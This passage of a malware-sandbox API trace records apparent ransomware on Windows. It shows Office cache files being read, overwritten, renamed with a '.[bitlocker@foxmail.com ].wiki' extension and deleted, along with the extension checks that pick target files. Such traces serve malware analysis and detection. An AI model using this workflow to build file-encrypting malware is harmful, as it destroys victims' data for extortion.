[0055.061] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.061] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.061] ReadFile (in: hFile=0x1e8, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.378] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.378] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0055.394] SetEndOfFile (hFile=0x1e8) returned 1 [0055.394] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0055.395] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.395] WriteFile (in: hFile=0x1e8, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.396] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.396] WriteFile (in: hFile=0x1e8, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.402] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.402] WriteFile (in: hFile=0x1e8, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.405] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0055.405] CloseHandle (hObject=0x1e8) returned 1 [0055.405] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.405] lstrlenW (lpString=".doc") returned 4 [0055.405] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.405] lstrlenW (lpString=".docx") returned 5 [0055.405] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.405] lstrlenW (lpString=".pdf") returned 4 [0055.405] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.405] lstrlenW (lpString=".xls") returned 4 [0055.405] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.405] lstrlenW (lpString=".xlsx") returned 5 [0055.405] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.405] lstrlenW (lpString=".ppt") returned 4 [0055.405] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.405] lstrlenW (lpString=".zip") returned 4 [0055.405] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.405] lstrlenW (lpString=".rar") returned 4 [0055.405] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.406] lstrlenW (lpString=".bz2") returned 4 [0055.406] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.406] lstrlenW (lpString=".7z") returned 3 [0055.406] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.406] lstrlenW (lpString=".dbf") returned 4 [0055.406] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.406] lstrlenW (lpString=".1cd") returned 4 [0055.406] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.406] lstrlenW (lpString=".jpg") returned 4 [0055.406] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.406] lstrlenW (lpString=".doc") returned 4 [0055.406] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.406] lstrlenW (lpString=".docx") returned 5 [0055.406] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.406] lstrlenW (lpString=".pdf") returned 4 [0055.406] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.406] lstrlenW (lpString=".xls") returned 4 [0055.406] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.406] lstrlenW (lpString=".xlsx") returned 5 [0055.406] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.406] lstrlenW (lpString=".ppt") returned 4 [0055.406] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.406] lstrlenW (lpString=".zip") returned 4 [0055.406] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.406] lstrlenW (lpString=".rar") returned 4 [0055.406] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.406] lstrlenW (lpString=".bz2") returned 4 [0055.406] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.406] lstrlenW (lpString=".7z") returned 3 [0055.407] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.407] lstrlenW (lpString=".dbf") returned 4 [0055.407] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.407] lstrlenW (lpString=".1cd") returned 4 [0055.407] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.407] lstrlenW (lpString=".jpg") returned 4 [0055.407] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.407] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0055.407] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0055.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.407] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=36233052) returned 1 [0055.407] CloseHandle (hObject=0x1e8) returned 1 [0055.407] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0055.407] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.407] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0055.408] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.408] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.408] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.408] ReadFile (in: hFile=0x1e8, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.649] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.649] ReadFile (in: hFile=0x1e8, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.752] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.752] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.752] ReadFile (in: hFile=0x1e8, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.766] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.766] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0056.066] SetEndOfFile (hFile=0x1e8) returned 1 [0056.350] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0056.354] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.354] WriteFile (in: hFile=0x1e8, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.354] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.355] WriteFile (in: hFile=0x1e8, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.355] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.355] WriteFile (in: hFile=0x1e8, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.357] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0056.357] CloseHandle (hObject=0x1e8) returned 1 [0056.357] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.358] lstrlenW (lpString=".doc") returned 4 [0056.358] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString=".docx") returned 5 [0056.358] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0056.358] lstrlenW (lpString=".pdf") returned 4 [0056.358] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString=".xls") returned 4 [0056.358] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString=".xlsx") returned 5 [0056.358] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0056.358] lstrlenW (lpString=".ppt") returned 4 [0056.358] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.358] lstrlenW (lpString=".zip") returned 4 [0056.358] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString=".rar") returned 4 [0056.358] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString=".bz2") returned 4 [0056.358] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.358] lstrlenW (lpString=".7z") returned 3 [0056.358] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.358] lstrlenW (lpString=".dbf") returned 4 [0056.358] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.358] lstrlenW (lpString=".1cd") returned 4 [0056.358] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.358] lstrlenW (lpString=".jpg") returned 4 [0056.358] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.359] lstrlenW (lpString=".doc") returned 4 [0056.359] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString=".docx") returned 5 [0056.359] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0056.359] lstrlenW (lpString=".pdf") returned 4 [0056.359] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString=".xls") returned 4 [0056.359] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString=".xlsx") returned 5 [0056.359] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0056.359] lstrlenW (lpString=".ppt") returned 4 [0056.359] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.359] lstrlenW (lpString=".zip") returned 4 [0056.359] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString=".rar") returned 4 [0056.359] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString=".bz2") returned 4 [0056.359] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.359] lstrlenW (lpString=".7z") returned 3 [0056.359] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.359] lstrlenW (lpString=".dbf") returned 4 [0056.359] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.359] lstrlenW (lpString=".1cd") returned 4 [0056.359] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0056.359] lstrlenW (lpString=".jpg") returned 4 [0056.359] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.359] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0056.360] lstrlenW (lpString="setup.exe") returned 9 [0056.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0056.654] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1377656) returned 1 [0056.691] CloseHandle (hObject=0x1fc) returned 1 [0056.692] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0056.692] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0056.692] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.692] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0058.107] GetLastError () returned 0x0 [0058.107] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.130] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.146] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x50588, lpOverlapped=0x0) returned 1 [0058.158] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0058.166] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.166] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.166] SetEndOfFile (hFile=0x1f0) returned 1 [0058.166] CloseHandle (hObject=0x1f0) returned 1 [0058.166] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.166] SetEndOfFile (hFile=0x1fc) returned 1 [0058.169] CloseHandle (hObject=0x1fc) returned 1 [0058.169] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.170] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0058.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.170] lstrlenW (lpString=".doc") returned 4 [0058.170] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.170] lstrlenW (lpString=".docx") returned 5 [0058.170] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0058.170] lstrlenW (lpString=".pdf") returned 4 [0058.170] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.170] lstrlenW (lpString=".xls") returned 4 [0058.170] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.170] lstrlenW (lpString=".xlsx") returned 5 [0058.170] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0058.170] lstrlenW (lpString=".ppt") returned 4 [0058.170] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.170] lstrlenW (lpString=".zip") returned 4 [0058.170] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.170] lstrlenW (lpString=".rar") returned 4 [0058.170] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.170] lstrlenW (lpString=".bz2") returned 4 [0058.170] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.170] lstrlenW (lpString=".7z") returned 3 [0058.170] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.170] lstrlenW (lpString=".dbf") returned 4 [0058.170] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.170] lstrlenW (lpString=".1cd") returned 4 [0058.170] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString=".jpg") returned 4 [0058.171] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString=".doc") returned 4 [0058.171] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.171] lstrlenW (lpString=".docx") returned 5 [0058.171] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0058.171] lstrlenW (lpString=".pdf") returned 4 [0058.171] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.171] lstrlenW (lpString=".xls") returned 4 [0058.171] 